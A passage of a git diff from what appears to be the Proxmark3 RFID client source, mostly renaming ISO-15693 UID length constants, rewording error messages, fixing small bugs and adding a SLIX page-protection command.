*Cmd) { // reserve memory uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1483,7 +1478,7 @@ static int CmdHF15Sim(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, true); struct { - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; uint8_t block_size; } PACKED payload; memset(&payload, 0, sizeof(payload)); @@ -1494,7 +1489,7 @@ static int CmdHF15Sim(const char *Cmd) { CLIParserFree(ctx); // sanity checks - if (uidlen != 0 && uidlen != HF15_UID_LENGTH) { + if (uidlen != 0 && uidlen != ISO15693_UID_LENGTH) { PrintAndLogEx(WARNING, "UID must include 8 hex bytes, got ( " _RED_("%i") " )", uidlen); return PM3_EINVARG; } @@ -1621,7 +1616,7 @@ static int CmdHF15WriteAfi(const char *Cmd) { struct { uint8_t pwd[4]; bool use_pwd; - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; bool use_uid; uint8_t afi; } PACKED payload; @@ -1642,7 +1637,7 @@ static int CmdHF15WriteAfi(const char *Cmd) { } payload.use_uid = false; - if (uidlen == HF15_UID_LENGTH) { + if (uidlen == ISO15693_UID_LENGTH) { payload.use_uid = true; } @@ -1700,7 +1695,7 @@ static int CmdHF15WriteDsfid(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); - uint8_t uid[HF15_UID_LENGTH] = {0}; + uint8_t uid[ISO15693_UID_LENGTH] = {0}; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); @@ -1723,7 +1718,7 @@ static int CmdHF15WriteDsfid(const char *Cmd) { uint8_t approxlen = 2 + 8 + 1 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1739,10 +1734,10 @@ static int CmdHF15WriteDsfid(const char *Cmd) { free(packet); return PM3_EINVARG; } - uidlen = HF15_UID_LENGTH; + uidlen = ISO15693_UID_LENGTH; } - if (uidlen == HF15_UID_LENGTH) { + if (uidlen == ISO15693_UID_LENGTH) { // add UID (scan, uid) memcpy(packet->raw + packet->rawlen, uid, uidlen); packet->rawlen += uidlen; @@ -1804,7 +1799,7 @@ static int CmdHF15Dump(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, true); - uint8_t uid[HF15_UID_LENGTH] = {0}; + uint8_t uid[ISO15693_UID_LENGTH] = {0}; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); @@ -1835,7 +1830,7 @@ static int CmdHF15Dump(const char *Cmd) { } // default fallback to scan for tag. - if (uidlen != HF15_UID_LENGTH && !unaddressed) { + if (uidlen != ISO15693_UID_LENGTH && !unaddressed) { scan = true; } @@ -1843,14 +1838,14 @@ static int CmdHF15Dump(const char *Cmd) { uint8_t approxlen = 2 + 8 + 1 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } // struct of ISO15693 tag memory (new file format) iso15_tag_t *tag = (iso15_tag_t *)calloc(1, sizeof(iso15_tag_t)); if (tag == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(packet); return PM3_EMALLOC; }; @@ -1871,11 +1866,11 @@ static int CmdHF15Dump(const char *Cmd) { return PM3_EINVARG; } } else { - reverse_array(uid, HF15_UID_LENGTH); + reverse_array(uid, ISO15693_UID_LENGTH); } // add UID (scan, uid) - memcpy(packet->raw + packet->rawlen, uid, HF15_UID_LENGTH); - packet->rawlen += HF15_UID_LENGTH; + memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); + packet->rawlen += ISO15693_UID_LENGTH; used_uid = true; } else { PrintAndLogEx(INFO, "Using unaddressed mode"); @@ -1912,36 +1907,50 @@ static int CmdHF15Dump(const char *Cmd) { uint8_t dCpt = 10; int res = iso15_error_handling_card_response(d, resp.length); - if (res != PM3_SUCCESS) { + if (res == PM3_ECRC) { free(tag); free(packet); return res; } - memcpy(tag->uid, &d[2], 8); + if (res == PM3_SUCCESS) { + memcpy(tag->uid, d + 2, 8); - if (d[1] & 0x01) { - tag->dsfid = d[dCpt++]; - } + if (d[1] & 0x01) { + tag->dsfid = d[dCpt]; + } + dCpt++; - if (d[1] & 0x02) { - tag->afi = d[dCpt++]; - } + if (d[1] & 0x02) { + tag->afi = d[dCpt]; + } + dCpt++; + + if (d[1] & 0x04) { + tag->pagesCount = d[dCpt] + 1; + tag->bytesPerPage = d[dCpt + 1] + 1; + } else { + // Set tag memory layout values (if can't be read in SYSINFO) + tag->bytesPerPage = blocksize; + tag->pagesCount = 128; + } + dCpt += 2; + + if (d[1] & 0x08) { + tag->ic = d[dCpt]; + } + dCpt++; - if (d[1] & 0x04) { - tag->pagesCount = d[dCpt++] + 1; - tag->bytesPerPage = d[dCpt++] + 1; } else { - // Set tag memory layout values (if can't be readed in SYSINFO) + tag->uid[0] = 0xE0; + tag->dsfid = 0; + tag->afi = 0; + // Set tag memory layout values (if can't be read in SYSINFO) tag->bytesPerPage = blocksize; tag->pagesCount = 128; } - if (d[1] & 0x08) { - tag->ic = d[dCpt++]; - } - - // add lenght for blockno (1) + // add length for blockno (1) packet->rawlen++; packet->raw[0] |= ISO15_REQ_OPTION; // Add option to dump lock status packet->raw[1] = ISO15693_READBLOCK; @@ -2095,7 +2104,7 @@ static int CmdHF15Raw(const char *Cmd) { iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + datalen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2175,10 +2184,10 @@ static int CmdHF15Readmulti(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); - uint8_t uid[HF15_UID_LENGTH] = {0x00}; + uint8_t uid[ISO15693_UID_LENGTH] = {0x00}; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); - bool uid_set = (uidlen == HF15_UID_LENGTH) ? true : false; + bool uid_set = (uidlen == ISO15693_UID_LENGTH) ? true : false; bool unaddressed = arg_get_lit(ctx, 2); bool scan = (arg_get_lit(ctx, 3) || (!uid_set && !unaddressed)) ? true : false; //Default fallback to scan for tag. Overriding unaddressed parameter. @@ -2219,7 +2228,7 @@ static int CmdHF15Readmulti(const char *Cmd) { uint8_t approxlen = 2 + 8 + 2 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2236,11 +2245,11 @@ static int CmdHF15Readmulti(const char *Cmd) { return PM3_EINVARG; } } else { - reverse_array(uid, HF15_UID_LENGTH); + reverse_array(uid, ISO15693_UID_LENGTH); } // add UID (scan, uid) - memcpy(packet->raw + packet->rawlen, uid, HF15_UID_LENGTH); - packet->rawlen += HF15_UID_LENGTH; + memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); + packet->rawlen += ISO15693_UID_LENGTH; } else { PrintAndLogEx(INFO, "Using unaddressed mode"); @@ -2252,7 +2261,9 @@ static int CmdHF15Readmulti(const char *Cmd) { // 0 means 1 page, // 1 means 2 pages, ... - if (blockcnt > 0) blockcnt--; + if (blockcnt > 0) { + blockcnt--; + } packet->raw[packet->rawlen++] = blockno; packet->raw[packet->rawlen++] = blockcnt; @@ -2282,7 +2293,7 @@ static int CmdHF15Readmulti(const char *Cmd) { ISO15_ERROR_HANDLING_CARD_RESPONSE(d, resp.length) // 1 byte cmd, 1 lock byte, 4 / 8 bytes block size, 2 crc - if (resp.length > (1 + (blockcnt * (blocksize + 1)) + 2)) { + if (resp.length > (1 + ((blockcnt + 1) * (blocksize + 1)) + 2)) { PrintAndLogEx(WARNING, "got longer response. Check block size!"); } @@ -2333,10 +2344,10 @@ static int CmdHF15Readblock(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); - bool uid_set = (uidlen == HF15_UID_LENGTH) ? true : false; + bool uid_set = (uidlen == ISO15693_UID_LENGTH) ? true : false; bool unaddressed = arg_get_lit(ctx, 2); bool scan = (arg_get_lit(ctx, 3) || (!uid_set && !unaddressed)) ? true : false; // Default fallback to scan for tag. Overriding unaddressed parameter. @@ -2372,7 +2383,7 @@ static int CmdHF15Readblock(const char *Cmd) { uint8_t approxlen = 2 + 8 + 1 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2390,11 +2401,11 @@ static int CmdHF15Readblock(const char *Cmd) { return PM3_EINVARG; } } else { - reverse_array(uid, HF15_UID_LENGTH); + reverse_array(uid, ISO15693_UID_LENGTH); } // add UID (scan, uid) - memcpy(packet->raw + packet->rawlen, uid, HF15_UID_LENGTH); - packet->rawlen += HF15_UID_LENGTH; + memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); + packet->rawlen += ISO15693_UID_LENGTH; } else { PrintAndLogEx(INFO, "Using unaddressed mode"); @@ -2477,7 +2488,7 @@ static int hf_15_write_blk(const uint8_t *pm3flags, uint16_t flags, const uint8_ uint8_t approxlen = 21; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2487,8 +2498,8 @@ static int hf_15_write_blk(const uint8_t *pm3flags, uint16_t flags, const uint8_ // add UID if (uid) { - memcpy(packet->raw + packet->rawlen, uid, HF15_UID_LENGTH); - packet->rawlen += HF15_UID_LENGTH; + memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); + packet->rawlen += ISO15693_UID_LENGTH; } packet->raw[packet->rawlen++] = blockno; @@ -2547,10 +2558,10 @@ static int CmdHF15Write(const char *Cmd) { argtable[arglen++] = arg_param_end; CLIExecWithReturn(ctx, Cmd, argtable, false); - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); - bool uid_set = (uidlen == HF15_UID_LENGTH) ? true : false; + bool uid_set = (uidlen == ISO15693_UID_LENGTH) ? true : false; bool unaddressed = arg_get_lit(ctx, 2); bool scan = (arg_get_lit(ctx, 3) || (!uid_set && !unaddressed)) ? true : false; // Default fallback to scan for tag. Overriding unaddressed parameter. @@ -2586,7 +2597,7 @@ static int CmdHF15Write(const char *Cmd) { return PM3_EINVARG; } } else { - reverse_array(uid, HF15_UID_LENGTH); + reverse_array(uid, ISO15693_UID_LENGTH); } } else { PrintAndLogEx(INFO, "Using unaddressed mode"); @@ -2621,7 +2632,7 @@ static int CmdHF15Restore(const char *Cmd) { "hf 15 restore -u E011223344556677 -f hf-15-my-dump.bin" ); - void *argtable[6 + 5] = {0}; + void *argtable[6 + 4] = {0}; uint8_t arglen = arg_add_default(argtable); argtable[arglen++] = arg_str0("f", "file", "", "Specify a filename for dump file"); argtable[arglen++] = arg_int0("r", "retry", "", "number of retries (def 3)"); @@ -2629,7 +2640,7 @@ static int CmdHF15Restore(const char *Cmd) { argtable[arglen++] = arg_param_end; CLIExecWithReturn(ctx, Cmd, argtable, true); - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); @@ -2659,7 +2670,7 @@ static int CmdHF15Restore(const char *Cmd) { // default fallback to scan for tag. // overriding unaddress parameter :) - if (uidlen != HF15_UID_LENGTH) { + if (uidlen != ISO15693_UID_LENGTH) { scan = true; } @@ -2671,7 +2682,7 @@ static int CmdHF15Restore(const char *Cmd) { return PM3_EINVARG; } } else { - reverse_array(uid, HF15_UID_LENGTH); + reverse_array(uid, ISO15693_UID_LENGTH); } } else { PrintAndLogEx(INFO, "Using unaddressed mode"); @@ -2710,8 +2721,11 @@ static int CmdHF15Restore(const char *Cmd) { ((tag->pagesCount * tag->bytesPerPage) > ISO15693_TAG_MAX_SIZE) || (tag->pagesCount == 0) || (tag->bytesPerPage == 0)) { + PrintAndLogEx(FAILED, "Tag size error: pagesCount=%d, bytesPerPage=%d", - tag->pagesCount, tag->bytesPerPage); + tag->pagesCount, + tag->bytesPerPage + ); free(tag); return PM3_EINVARG; } @@ -2729,6 +2743,11 @@ static int CmdHF15Restore(const char *Cmd) { size_t bytes = 0; uint16_t i = 0; uint8_t *data = calloc(tag->bytesPerPage, sizeof(uint8_t)); + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(tag); + return PM3_EMALLOC; + } uint32_t tried; while (bytes < (tag->pagesCount * tag->bytesPerPage)) { @@ -2737,8 +2756,8 @@ static int CmdHF15Restore(const char *Cmd) { for (tried = 0; tried < retries; tried++) { - retval = hf_15_write_blk(&pm3flags, flags, uid, fast - , i, data, tag->bytesPerPage); + retval = hf_15_write_blk(&pm3flags, flags, uid, fast, i, data, tag->bytesPerPage); + if (retval == PM3_SUCCESS) { PrintAndLogEx(INPLACE, "blk %3d", i); @@ -2774,7 +2793,7 @@ static int CmdHF15Restore(const char *Cmd) { DropField(); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf 15 dump --ns") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 15 dump --ns") "` to verify"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -2801,7 +2820,7 @@ static int CmdHF15CSetUID(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); struct { - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; } PACKED payload; int uidlen = 0; @@ -2809,7 +2828,7 @@ static int CmdHF15CSetUID(const char *Cmd) { bool use_v2 = arg_get_lit(ctx, 2); CLIParserFree(ctx); - if (uidlen != HF15_UID_LENGTH) { + if (uidlen != ISO15693_UID_LENGTH) { PrintAndLogEx(WARNING, "UID must include 8 hex bytes, got " _RED_("%i"), uidlen); return PM3_EINVARG; } @@ -2823,7 +2842,7 @@ static int CmdHF15CSetUID(const char *Cmd) { PrintAndLogEx(INFO, "Get current tag"); - uint8_t carduid[HF15_UID_LENGTH] = {0x00}; + uint8_t carduid[ISO15693_UID_LENGTH] = {0x00}; if (getUID(true, false, carduid) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "no tag found"); return PM3_ESOFT; @@ -2853,10 +2872,10 @@ static int CmdHF15CSetUID(const char *Cmd) { } // reverse cardUID to compare - uint8_t revuid[HF15_UID_LENGTH] = {0}; + uint8_t revuid[ISO15693_UID_LENGTH] = {0}; reverse_array_copy(carduid, sizeof(carduid), revuid); - if (memcmp(revuid, payload.uid, HF15_UID_LENGTH) == 0) { + if (memcmp(revuid, payload.uid, ISO15693_UID_LENGTH) == 0) { PrintAndLogEx(SUCCESS, "Setting new UID ( " _GREEN_("ok") " )"); PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS;; @@ -3201,6 +3220,101 @@ static int CmdHF15SlixWritePassword(const char *Cmd) { return resp.status; } +static int CmdHF15SlixProtectPage(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 15 slixprotectpage", + "Defines protection pointer address of user mem and access cond. for pages", + "hf 15 slixprotectpage -w deadbeef -p 3 -h 3"); + + void *argtable[] = { + arg_param_begin, + arg_str0("r", "readpw", "", "read password, 4 hex bytes"), + arg_str0("w", "writepw", "", "write password, 4 hex bytes"), + arg_int0("p", "ptr", "", "protection pointer page (0-78), if 0 entire user mem"), + arg_int1("l", "lo", "", "page protection flags of lo page (0-None, 1-ReadPR, 2-WritePR)"), + arg_int1("i", "hi", "", "page protection flags of hi page (0-None, 1-ReadPR, 2-WritePR)"), + arg_param_end + }; + + CLIExecWithReturn(ctx, Cmd, argtable, false); + + struct p { + uint8_t read_pwd[4]; + uint8_t write_pwd[4]; + uint8_t divide_ptr; + uint8_t prot_status; + } PACKED payload = {0}; + int pwdlen = 0; + + CLIGetHexWithReturn(ctx, 1, payload.read_pwd, &pwdlen); + + if (pwdlen > 0 && pwdlen != 4) { + PrintAndLogEx(WARNING, "read password must be 4 hex bytes if provided"); + CLIParserFree(ctx); + return PM3_ESOFT; + } + + CLIGetHexWithReturn(ctx, 2, payload.write_pwd, &pwdlen); + + if (pwdlen > 0 && pwdlen != 4) { + PrintAndLogEx(WARNING, "write password must be 4 hex bytes if provided"); + CLIParserFree(ctx); + return PM3_ESOFT; + } + + payload.divide_ptr = (uint8_t)arg_get_int_def(ctx, 3, 0); + if (payload.divide_ptr > 78) { + PrintAndLogEx(WARNING, "protection pointer page is invalid (is %d but should be <=78).", payload.divide_ptr); + CLIParserFree(ctx); + return PM3_ESOFT; + } + + pwdlen = arg_get_int_def(ctx, 4, 0); + if (pwdlen > 3) { + PrintAndLogEx(WARNING, "page protection flags must be between 0 and 3"); + CLIParserFree(ctx); + return PM3_ESOFT; + } + payload.prot_status = (uint8_t)pwdlen; + + pwdlen = arg_get_int_def(ctx, 5, 0); + if (pwdlen > 3) { + PrintAndLogEx(WARNING, "page protection flags must be between 0 and 3"); + CLIParserFree(ctx); + return PM3_ESOFT; + } + payload.prot_status |= (uint8_t)pwdlen << 4; + + PrintAndLogEx(INFO, "Trying to set page protection pointer to " _YELLOW_("%d"), payload.divide_ptr); + PrintAndLogEx(INFO, _YELLOW_("LO") " page access %s%s", (payload.prot_status & 0x01) ? _RED_("R") : _GREEN_("r"), (payload.prot_status & 0x02) ? _RED_("W") : _GREEN_("w")); + PrintAndLogEx(INFO, _YELLOW_("HI") " page access %s%s", (payload.prot_status & 0x10) ? _RED_("R") : _GREEN_("r"), (payload.prot_status & 0x20) ? _RED_("W") : _GREEN_("w")); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO15693_SLIX_PROTECT_PAGE, (uint8_t *)&payload, sizeof(payload)); + if (WaitForResponseTimeout(CMD_HF_ISO15693_SLIX_PROTECT_PAGE, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + DropField(); + return PM3_ESOFT; + } + + switch (resp.status) { + case PM3_ETIMEOUT: { + PrintAndLogEx(WARNING, "no tag found"); + break; + } + case PM3_EWRONGANSWER: { + PrintAndLogEx(WARNING, "Protection flags were not accepted, locked? ( " _RED_("fail") " )"); + break; + } + case PM3_SUCCESS: { + PrintAndLogEx(SUCCESS, "Page protection written ( " _GREEN_("ok") " ) "); + break; + } + } + return resp.status; +} + static int CmdHF15AFIPassProtect(const char *Cmd) { CLIParserContext *ctx; @@ -3336,7 +3450,7 @@ static int CmdHF15View(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf 15 view", "Print a ISO-15693 tag dump file (bin/eml/json)", - "hf 15 view -f hf-iclass-AA162D30F8FF12F1-dump.bin\n" + "hf 15 view -f hf-15-1122334455667788-dump.bin\n" ); void *argtable[] = { arg_param_begin, @@ -3375,8 +3489,11 @@ static int CmdHF15View(const char *Cmd) { ((tag->pagesCount * tag->bytesPerPage) > ISO15693_TAG_MAX_SIZE) || (tag->pagesCount == 0) || (tag->bytesPerPage == 0)) { + PrintAndLogEx(FAILED, "Tag size error: pagesCount=%d, bytesPerPage=%d", - tag->pagesCount, tag->bytesPerPage); + tag->pagesCount, + tag->bytesPerPage + ); free(tag); return PM3_EINVARG; } @@ -3395,15 +3512,15 @@ static int CmdHF15Wipe(const char *Cmd) { ); void *argtable[6 + 3] = {0}; uint8_t arglen = arg_add_default(argtable); - argtable[arglen++] = arg_int0(NULL, "bs", "", "block size (def 4)"), - argtable[arglen++] = arg_lit0("v", "verbose", "verbose output"); + argtable[arglen++] = arg_int0(NULL, "bs", "", "block size (def 4)"); + argtable[arglen++] = arg_lit0("v", "verbose", "verbose output"); argtable[arglen++] = arg_param_end; CLIExecWithReturn(ctx, Cmd, argtable, true); - uint8_t uid[HF15_UID_LENGTH]; + uint8_t uid[ISO15693_UID_LENGTH]; int uidlen = 0; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); - bool uid_set = (uidlen == HF15_UID_LENGTH) ? true : false; + bool uid_set = (uidlen == ISO15693_UID_LENGTH) ? true : false; bool unaddressed = arg_get_lit(ctx, 2); bool scan = (arg_get_lit(ctx, 3) || (!uid_set && !unaddressed)) ? true : false; // Default fallback to scan for tag. Overriding unaddressed parameter. @@ -3435,7 +3552,7 @@ static int CmdHF15Wipe(const char *Cmd) { return PM3_EINVARG; } } else { - reverse_array(uid, HF15_UID_LENGTH); + reverse_array(uid, ISO15693_UID_LENGTH); } } else { PrintAndLogEx(INFO, "Using unaddressed mode"); @@ -3511,6 +3628,7 @@ static command_t CommandTable[] = { {"slixeasenable", CmdHF15SlixEASEnable, IfPm3Iso15693, "Enable EAS mode on SLIX ISO-15693 tag"}, {"slixprivacydisable", CmdHF15SlixDisable, IfPm3Iso15693, "Disable privacy mode on SLIX ISO-15693 tag"}, {"slixprivacyenable", CmdHF15SlixEnable, IfPm3Iso15693, "Enable privacy mode on SLIX ISO-15693 tag"}, + {"slixprotectpage", CmdHF15SlixProtectPage, IfPm3Iso15693, "Protect pages on SLIX ISO-15693 tag"}, {"passprotectafi", CmdHF15AFIPassProtect, IfPm3Iso15693, "Password protect AFI - Cannot be undone"}, {"passprotecteas", CmdHF15EASPassProtect, IfPm3Iso15693, "Password protect EAS - Cannot be undone"}, {"-----------", CmdHF15Help, IfPm3Iso15693, "-------------------------- " _CYAN_("afi") " ------------------------"}, diff --git a/client/src/cmdhf15.h b/client/src/cmdhf15.h index 8803a58b4..b6f7d250b 100644 --- a/client/src/cmdhf15.h +++ b/client/src/cmdhf15.h @@ -20,9 +20,24 @@ #define CMDHF15_H__ #include "common.h" +#include "crc16.h" +#include "iso15.h" // typedef structs / enum + +#ifndef Crc15 +# define Crc15(data, len) Crc16ex(CRC_15693, (data), (len)) +#endif +#ifndef CheckCrc15 +# define CheckCrc15(data, len) check_crc(CRC_15693, (data), (len)) +#endif +#ifndef AddCrc15 +#define AddCrc15(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1) +#endif + +#ifndef ISO15_RAW_LEN +#define ISO15_RAW_LEN(x) (sizeof(iso15_raw_cmd_t) + (x)) +#endif int CmdHF15(const char *Cmd); - bool readHF15Uid(bool loop, bool verbose); #endif diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index f6714c5a2..9e0ad8976 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -647,6 +647,17 @@ static int CmdHFCipurseReadFile(const char *Cmd) { PrintAndLogEx(INFO, "File id " _YELLOW_("%x") " offset " _YELLOW_("%zu") " key id " _YELLOW_("%d") " key " _YELLOW_("%s"), fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); } + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != ISO7816_OK) { + if (verbose == false) + PrintAndLogEx(ERR, "File select ( " _RED_("error") " ). Card returns 0x%04x", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x ( %s )", fileId, _GREEN_("ok")); + if (noAuth == false) { bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); if (bres == false) { @@ -660,17 +671,6 @@ static int CmdHFCipurseReadFile(const char *Cmd) { CIPURSECSetActChannelSecurityLevels(sreq, sresp); } - res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); - if (res != 0 || sw != ISO7816_OK) { - if (verbose == false) - PrintAndLogEx(ERR, "File select ( " _RED_("error") " ). Card returns 0x%04x", sw); - DropField(); - return PM3_ESOFT; - } - - if (verbose) - PrintAndLogEx(INFO, "Select file 0x%x ( %s )", fileId, _GREEN_("ok")); - res = CIPURSEReadBinary(offset, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != ISO7816_OK) { if (verbose == false) @@ -776,6 +776,17 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { PrintAndLogEx(INFO, "Data [%d]: %s", hdatalen, sprint_hex(hdata, hdatalen)); } + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != ISO7816_OK) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x ( %s )", fileId, _GREEN_("ok")); + if (noAuth == false) { bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); if (bres == false) { @@ -789,17 +800,6 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { CIPURSECSetActChannelSecurityLevels(sreq, sresp); } - res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); - if (res != 0 || sw != ISO7816_OK) { - if (verbose == false) - PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x", sw); - DropField(); - return PM3_ESOFT; - } - - if (verbose) - PrintAndLogEx(INFO, "Select file 0x%x ( %s )", fileId, _GREEN_("ok")); - res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != ISO7816_OK) { if (verbose == false) @@ -1888,7 +1888,8 @@ static int CmdHFCipurseDefault(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help."}, - {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Get info about CIPURSE tag"}, + {"-----------", CmdHelp, IfPm3Iso14443a, "------------------- " _CYAN_("Operations") " -------------------"}, + {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Tag information"}, {"select", CmdHFCipurseSelect, IfPm3Iso14443a, "Select CIPURSE application or file"}, {"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authenticate CIPURSE tag"}, {"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file"}, diff --git a/client/src/cmdhfcryptorf.c b/client/src/cmdhfcryptorf.c index 8f765ed66..1a00881e1 100644 --- a/client/src/cmdhfcryptorf.c +++ b/client/src/cmdhfcryptorf.c @@ -80,7 +80,7 @@ static int CmdHFCryptoRFSim(const char *Cmd) { static int CmdHFCryptoRFSniff(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf cryptorf sniff", - "Sniff the communication reader and tag", + "Sniff the communication between reader and tag", "hf cryptorf sniff\n" ); @@ -96,15 +96,16 @@ static int CmdHFCryptoRFSniff(const char *Cmd) { PacketResponseNG resp; WaitForResponse(CMD_HF_ISO14443B_SNIFF, &resp); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf cryptorf list") "` to view captured tracelog"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -f hf_cryptorf_mytrace") "` to save tracelog for later analysing"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf cryptorf list") "` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -f hf_cryptorf_mytrace") "` to save tracelog for later analysing"); return PM3_SUCCESS; } static bool get_14b_UID(iso14b_card_select_t *card) { - if (card == NULL) + if (card == NULL) { return false; + } int8_t retry = 3; while (retry--) { @@ -126,7 +127,7 @@ static bool get_14b_UID(iso14b_card_select_t *card) { } // retry if (retry <= 0) { - PrintAndLogEx(FAILED, "command execution timeout"); + PrintAndLogEx(FAILED, "command execution time out"); } return false; @@ -145,7 +146,7 @@ static int infoHFCryptoRF(bool verbose) { PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_ISO14443B_COMMAND, &resp, TIMEOUT) == false) { if (verbose) { - PrintAndLogEx(WARNING, "command execution timeout"); + PrintAndLogEx(WARNING, "command execution time out"); } switch_off_field_cryptorf(); return false; @@ -231,8 +232,7 @@ int readHFCryptoRF(bool loop, bool verbose) { PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex_inrow(card.uid, card.uidlen)); set_last_known_card(card); } - } while (loop && kbd_enter_pressed() == false); - + } while (loop && (kbd_enter_pressed() == false)); DropField(); return res; } @@ -311,7 +311,7 @@ static int CmdHFCryptoRFDump(const char *Cmd) { // select tag iso14b_raw_cmd_t *packet = (iso14b_raw_cmd_t *)calloc(1, sizeof(iso14b_raw_cmd_t) + 2); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } packet->flags = (ISO14B_CONNECT | ISO14B_SELECT_SR); @@ -445,7 +445,7 @@ static int 